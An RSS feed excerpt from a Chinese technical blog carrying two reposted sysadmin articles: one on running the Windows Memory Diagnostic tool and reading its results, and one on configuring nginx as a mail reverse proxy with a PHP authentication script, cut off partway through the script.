<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/">
<channel>
	<title>flyinweb's blog - 技术文摘</title>
	<link>http://www.517sou.net/Folder/techdigest/Index.aspx</link>
	<language>zh-CN</language>
	<webMaster>shanyiwan@msn.com(flyinweb)</webMaster>
	<pubDate>Mon, 15 Jun 2009 19:31:16 GMT</pubDate>
	<copyright>Copyright 2007-2009. All rights reserved.</copyright>
	<generator>Bitrac Free Version</generator>
	<description>桃李无言，下自成蹊</description>
	<image>
		<title>flyinweb&apos;s blog</title>
		<url>http://www.517sou.net/Client/Banner.gif</url>
		<link>http://www.517sou.net/</link>
		<description>桃李无言，下自成蹊</description>
	</image>
	<item>
		<link>http://www.517sou.net/Article/windows-memory-diagnostic-tool.aspx</link>
		<title>Diagnosing Windows Memory Problems</title>
		<author>shanyiwan@live.com()</author>
		<category>技术文摘</category>
		<pubDate>Mon, 30 Jan 2012 02:39:19 GMT</pubDate>
		<description>&lt;h2&gt;Overview&lt;/h2&gt;&lt;p&gt;I can remember way back when how amazed I was to order a new desktop computer with 2MB of RAM. Even the days of ordering a server with 64MB of RAM seemed like sooooo much memory. And in case you missed it, those are values in megabytes. Naturally today’s systems are in another class altogether. And while I’d like to think the quality of memory manufacturing has also increased over the years, things can still go wrong.&lt;/p&gt;&lt;p&gt;Failing or faulty memory doesn’t always manifest itself with a huge announcement. In the event that Windows 7 or Windows Server 2008 detects such a problem, it will most likely prompt you to run the Windows Memory Diagnostic tool. But you can also manually run this tool anytime you’d like if you prefer to be a bit more proactive.&lt;/p&gt;&lt;h2&gt;Using the Windows Memory Diagnostic Tool&lt;/h2&gt;&lt;p&gt;You can manually launch the Windows Memory Diagnostic tool from the Administrator Tools menu short cut. Or if you prefer a command line approach run this:&lt;/p&gt;&lt;pre&gt;
C:\&amp;gt; mdsched&lt;/pre&gt;&lt;p&gt;Alas, there do not appear to be any command line parameters. However you launch it you should get something like Figure 1.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://www.petri.co.il/windows-memory-diagnostic-tool.htm/memorydiag-1&quot; rel=&quot;attachment wp-att-22672&quot; target=&quot;_blank&quot;&gt;&lt;img title=&quot;MemoryDiag-1&quot; width=&quot;426&quot; height=&quot;350&quot; class=&quot;Image&quot; alt=&quot;&quot; src=&quot;http://www.517sou.net/Attach/month_1201/c4dnqb_MemoryDiag-1.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Figure 1 Windows Memory Diagnostic&lt;/p&gt;&lt;div id=&quot;adkit_freestyle&quot; class=&quot;adkit freestyle&quot;&gt;&lt;div style=&quot;min-height: 46px&quot;&gt;&lt;p style=&quot;padding-bottom: 10px; background-color: rgb(255,255,237); padding-left: 10px; padding-right: 10px; font-weight: bold; padding-top: 10px&quot;&gt;&lt;a href=&quot;http://www.petri.co.il/uri/?id=2766&amp;amp;host=petri.co.il&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#0066cc&quot;&gt;See Also » Windows on iPad with OnLive Desktop&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;As the dialog suggests you can either reboot immediately or schedule the diagnostic for the next reboot. Whichever option you choose, upon reboot, the memory diagnostic will launch automatically and begin running. You will see something like Figure 2.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://www.petri.co.il/windows-memory-diagnostic-tool.htm/memdiag-2&quot; rel=&quot;attachment wp-att-22673&quot; target=&quot;_blank&quot;&gt;&lt;img title=&quot;MemDiag-2&quot; alt=&quot;Running Windows Memory Diagnostic&quot; width=&quot;1024&quot; height=&quot;768&quot; class=&quot;Image&quot; src=&quot;http://www.517sou.net/Attach/month_1201/0xkujx_MemDiag-2.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Figure 2 Running Memory Diagnostic&lt;/p&gt;&lt;p&gt;Press F1 to customize the tools. You can modify what tools are run and how many passes. Figure 3 shows the Basic tests that will be run. These tests run pretty quickly.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://www.petri.co.il/windows-memory-diagnostic-tool.htm/memdiag-basic&quot; rel=&quot;attachment wp-att-22674&quot; target=&quot;_blank&quot;&gt;&lt;img title=&quot;MemDiag-Basic&quot; alt=&quot;Windows Basic Memory Tests&quot; width=&quot;1024&quot; height=&quot;768&quot; class=&quot;Image&quot; src=&quot;http://www.517sou.net/Attach/month_1201/qg9a8w_MemDiag-Basic.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Figure 3 Basic Memory Tests&lt;/p&gt;&lt;p&gt;Figure 4 shows the Standard tests. This is the default behavior.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://www.petri.co.il/windows-memory-diagnostic-tool.htm/memdiag-standard&quot; rel=&quot;attachment wp-att-22675&quot; target=&quot;_blank&quot;&gt;&lt;img title=&quot;MemDiag-Standard&quot; alt=&quot;Windows Standard Memory Tests&quot; width=&quot;1024&quot; height=&quot;768&quot; class=&quot;Image&quot; src=&quot;http://www.517sou.net/Attach/month_1201/nwd0ma_MemDiag-Standard.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Figure 4 Standard Memory Tests&lt;/p&gt;&lt;p&gt;If you prefer a more thorough examination, select the Extended test mix, as shown in Figure 5.&lt;/p&gt;&lt;p&gt;By default, the diagnostic will run two passes, but you can tab down to the Pass Count section and put in a number between 0 and 99. I wish there was a way to set this when configuring the scheduled task, but I have yet to fine one.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://www.petri.co.il/windows-memory-diagnostic-tool.htm/memdiag-extended&quot; rel=&quot;attachment wp-att-22676&quot; target=&quot;_blank&quot;&gt;&lt;img title=&quot;MemDiag-Extended&quot; alt=&quot;Windows Extended Memory Tests&quot; width=&quot;1024&quot; height=&quot;768&quot; class=&quot;Image&quot; src=&quot;http://www.517sou.net/Attach/month_1201/9wvbwa_MemDiag-Extended.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Figure 5 Extended Memory Tests&lt;/p&gt;&lt;p&gt;Now, it would be nice to have a more granular selection of tests or even an explanation about what all these acronyms mean. But I guess that’s why we have search engines. In any event, all that really matters is if you pass or fail. Upon completion, the computer will automatically reboot. After you logon, you should get a balloon message in the system tray. It may take a few minutes for it to appear and it will fade away as Figure 6 demonstrates.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://www.petri.co.il/windows-memory-diagnostic-tool.htm/memdiag-results&quot; rel=&quot;attachment wp-att-22677&quot; target=&quot;_blank&quot;&gt;&lt;img title=&quot;MemDiag-Results&quot; alt=&quot;Memory Diagnostic Result&quot; width=&quot;407&quot; height=&quot;154&quot; class=&quot;Image&quot; src=&quot;http://www.517sou.net/Attach/month_1201/o2n7ff_MemDiag-Results.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Figure 6 Memory Diagnostic Result&lt;/p&gt;&lt;p&gt;But at least I have no issues. You can also check the Windows event log for the results. Open the Event Viewer Management Console and select the System Event Log. Then do a search for MemoryDiagnostics-Results. Or if you’re using PowerShell, run a command like this:&lt;/p&gt;&lt;pre&gt;
PS C:\&amp;gt; get-eventlog system -after &amp;quot;12/26/2011 12:00PM&amp;quot;
-source Microsoft-Windows-MemoryDiagnostics-Results |
Select EntryType,InstanceID,Message |
format-list
EntryType : Information
InstanceId : 1201
Message : The Windows Memory Diagnostic tested the computer&apos;s memory
and detected no errors
EntryType : Information
InstanceId : 1101
Message : The Windows Memory Diagnostic tested the computer&apos;s memory
and detected no errors&lt;/pre&gt;&lt;p&gt;I’m using the –After parameter to speed up my search to only return results from the last run.&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;You can run this tool on both Windows 7 and Windows Server 2008. It is a simple tool in some regards but it is free and readily available. I expect most of you will have vendor or OEM supplied tools for this sort of diagnostic, but if not this is a good place to start.&lt;/p&gt;</description>
		<guid>http://www.517sou.net/Article/windows-memory-diagnostic-tool.aspx</guid>
		<trackback:ping>http://www.517sou.net/Article/754/Trackback.ashx</trackback:ping>
		<comments>http://www.517sou.net/Article/windows-memory-diagnostic-tool.aspx#CommentPostAnchor</comments>
		<wfw:commentRss>http://www.517sou.net/Article/754/Feeds.ashx</wfw:commentRss>
	</item>
	<item>
		<link>http://www.517sou.net/Article/Nginx-as-an-IMAP-SMTP-POP3-Reverse-Proxy.aspx</link>
		<title>基于nginx的pop3/imap/smtp的反向代理解决方案</title>
		<author>shanyiwan@live.com()</author>
		<category>技术文摘</category>
		<pubDate>Thu, 12 Jan 2012 03:44:05 GMT</pubDate>
		<description>&lt;p&gt;&lt;b&gt;&lt;span id=&quot;Using_a_php_script_on_apache_server_as_the_auth_backend&quot; class=&quot;mw-headline&quot;&gt;1、Using a php script on apache server as the auth backend &lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Start with the configuration from NginxImapProxyExample. For detail information about different configuration parameters, see the &lt;a href=&quot;http://wiki.nginx.org/MailCoreModule&quot; target=&quot;_blank&quot;&gt;NginxMailCoreModule&lt;/a&gt; page.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Your Proxy server for pop/imap is running on 192.168.1.1&lt;/li&gt;&lt;li&gt;You have 2 backend pop/imap servers: 192.168.1.22 and 192.168.1.33&lt;/li&gt;&lt;li&gt;You have a webserver that you will use for the authentication and redirection logic 192.168.1.44.&lt;/li&gt;&lt;li&gt;The authentication script is /mail/auth.php &lt;/li&gt;&lt;/ol&gt;&lt;p&gt;nginx.conf&lt;/p&gt;&lt;pre&gt;&lt;ol class=&quot;dp-other&quot;&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&lt;span&gt;user&amp;nbsp;&amp;nbsp;nobody; &amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;worker_processes&amp;nbsp;&amp;nbsp;1; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;error_log&amp;nbsp;&amp;nbsp;logs/error.log&amp;nbsp;&amp;nbsp;info; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;pid&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;logs/nginx.pid; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;events&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;worker_connections&amp;nbsp;&amp;nbsp;1024; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;multi_accept&amp;nbsp;on; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;mail&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;auth_http&amp;nbsp;&amp;nbsp;192.168.1.44:80/mail/auth.php; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;pop3_capabilities&amp;nbsp;&amp;nbsp;&amp;quot;TOP&amp;quot;&amp;nbsp;&amp;nbsp;&amp;quot;USER&amp;quot;; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;imap_capabilities&amp;nbsp;&amp;nbsp;&amp;quot;IMAP4rev1&amp;quot;&amp;nbsp;&amp;nbsp;&amp;quot;UIDPLUS&amp;quot;; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;server&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;listen&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;110; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;protocol&amp;nbsp;&amp;nbsp;&amp;nbsp;pop3; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;proxy&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;on; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;server&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;listen&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;143; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;protocol&amp;nbsp;&amp;nbsp;&amp;nbsp;imap; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;proxy&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;on; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;}&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/pre&gt;&lt;div style=&quot;text-align: left&quot; dir=&quot;ltr&quot; class=&quot;mw-geshi&quot;&gt;&lt;div class=&quot;nginx source-nginx&quot;&gt;/mail/auth.php&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left&quot; dir=&quot;ltr&quot; class=&quot;mw-geshi&quot;&gt;&lt;div class=&quot;php source-php&quot;&gt;&lt;pre&gt;&lt;ol class=&quot;dp-c&quot;&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;lt;?php &amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;comment&quot;&gt;/* &lt;/span&gt;&amp;nbsp;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&lt;span class=&quot;comment&quot;&gt;Nginx&amp;nbsp;sends&amp;nbsp;headers&amp;nbsp;as &lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&lt;span class=&quot;comment&quot;&gt;Auth-User:&amp;nbsp;somuser &lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&lt;span class=&quot;comment&quot;&gt;Auth-Pass:&amp;nbsp;somepass &lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&lt;span class=&quot;comment&quot;&gt;On&amp;nbsp;my&amp;nbsp;php&amp;nbsp;app&amp;nbsp;server&amp;nbsp;these&amp;nbsp;are&amp;nbsp;seen&amp;nbsp;as &lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&lt;span class=&quot;comment&quot;&gt;HTTP_AUTH_USER&amp;nbsp;and&amp;nbsp;HTTP_AUTH_PASS &lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&lt;span class=&quot;comment&quot;&gt;*/&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(!isset(&lt;/span&gt;&lt;span class=&quot;vars&quot;&gt;$_SERVER&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;HTTP_AUTH_USER&amp;quot;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;)&amp;nbsp;||&amp;nbsp;!isset(&lt;/span&gt;&lt;span class=&quot;vars&quot;&gt;$_SERVER&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;HTTP_AUTH_PASS&amp;quot;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;)){ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;fail(); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;vars&quot;&gt;$username&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span class=&quot;vars&quot;&gt;$_SERVER&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;HTTP_AUTH_USER&amp;quot;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;vars&quot;&gt;$userpass&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span class=&quot;vars&quot;&gt;$_SERVER&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;HTTP_AUTH_PASS&amp;quot;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;vars&quot;&gt;$protocol&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span class=&quot;vars&quot;&gt;$_SERVER&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;HTTP_AUTH_PROTOCOL&amp;quot;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;default&amp;nbsp;backend&amp;nbsp;port &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;vars&quot;&gt;$backend_port&lt;/span&gt;&lt;span&gt;=110; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(&lt;/span&gt;&lt;span class=&quot;vars&quot;&gt;$protocol&lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;imap&amp;quot;&lt;/span&gt;&lt;span&gt;)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;vars&quot;&gt;$backend_port&lt;/span&gt;&lt;span&gt;=143; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(&lt;/span&gt;&lt;span class=&quot;vars&quot;&gt;$protocol&lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;smtp&amp;quot;&lt;/span&gt;&lt;span&gt;)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;vars&quot;&gt;$backend_port&lt;/span&gt;&lt;span&gt;=25; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;nginx&amp;nbsp;likes&amp;nbsp;ip&amp;nbsp;address&amp;nbsp;so&amp;nbsp;if&amp;nbsp;your &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;application&amp;nbsp;gives&amp;nbsp;back&amp;nbsp;hostname,&amp;nbsp;convert&amp;nbsp;it&amp;nbsp;to&amp;nbsp;ip&amp;nbsp;address&amp;nbsp;here &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;vars&quot;&gt;$backend_ip&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;mailhost01&amp;quot;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;192.168.1.22&amp;quot;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;vars&quot;&gt;$backend_ip&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;mailhost02&amp;quot;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;192.168.1.33&amp;quot;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;Authenticate&amp;nbsp;the&amp;nbsp;user&amp;nbsp;or&amp;nbsp;fail &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(!authuser(&lt;/span&gt;&lt;span class=&quot;vars&quot;&gt;$username&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span class=&quot;vars&quot;&gt;$userpass&lt;/span&gt;&lt;span&gt;)){ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;fail(); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;func&quot;&gt;exit&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;Get&amp;nbsp;the&amp;nbsp;server&amp;nbsp;for&amp;nbsp;this&amp;nbsp;user&amp;nbsp;if&amp;nbsp;we&amp;nbsp;have&amp;nbsp;reached&amp;nbsp;so&amp;nbsp;far &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;vars&quot;&gt;$userserver&lt;/span&gt;&lt;span&gt;=getmailserver(&lt;/span&gt;&lt;span class=&quot;vars&quot;&gt;$username&lt;/span&gt;&lt;span&gt;); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;Get&amp;nbsp;the&amp;nbsp;ip&amp;nbsp;address&amp;nbsp;of&amp;nbsp;the&amp;nbsp;server &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;We&amp;nbsp;are&amp;nbsp;assuming&amp;nbsp;that&amp;nbsp;you&amp;nbsp;backend&amp;nbsp;returns&amp;nbsp;hostname &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;We&amp;nbsp;try&amp;nbsp;to&amp;nbsp;get&amp;nbsp;the&amp;nbsp;ip&amp;nbsp;else&amp;nbsp;return&amp;nbsp;what&amp;nbsp;we&amp;nbsp;got&amp;nbsp;back &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;vars&quot;&gt;$server_ip&lt;/span&gt;&lt;span&gt;=(isset(&lt;/span&gt;&lt;span class=&quot;vars&quot;&gt;$backend_ip&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span class=&quot;vars&quot;&gt;$userserver&lt;/span&gt;&lt;span&gt;]))?&lt;/span&gt;&lt;span class=&quot;vars&quot;&gt;$backend_ip&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span class=&quot;vars&quot;&gt;$userserver&lt;/span&gt;&lt;span&gt;]&amp;nbsp;:&lt;/span&gt;&lt;span class=&quot;vars&quot;&gt;$userserver&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;Pass! &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;pass(&lt;/span&gt;&lt;span class=&quot;vars&quot;&gt;$server_ip&lt;/span&gt;&lt;span&gt;,&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;vars&quot;&gt;$backend_port&lt;/span&gt;&lt;span&gt;); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;comment&quot;&gt;//END &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;&lt;span&gt;&amp;nbsp;authuser(&lt;/span&gt;&lt;span class=&quot;vars&quot;&gt;$user&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span class=&quot;vars&quot;&gt;$pass&lt;/span&gt;&lt;span&gt;){ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;put&amp;nbsp;your&amp;nbsp;logic&amp;nbsp;here&amp;nbsp;to&amp;nbsp;authen&amp;nbsp;the&amp;nbsp;user&amp;nbsp;to&amp;nbsp;any&amp;nbsp;backend &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;you&amp;nbsp;want&amp;nbsp;(datbase,&amp;nbsp;ldap,&amp;nbsp;etc) &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span 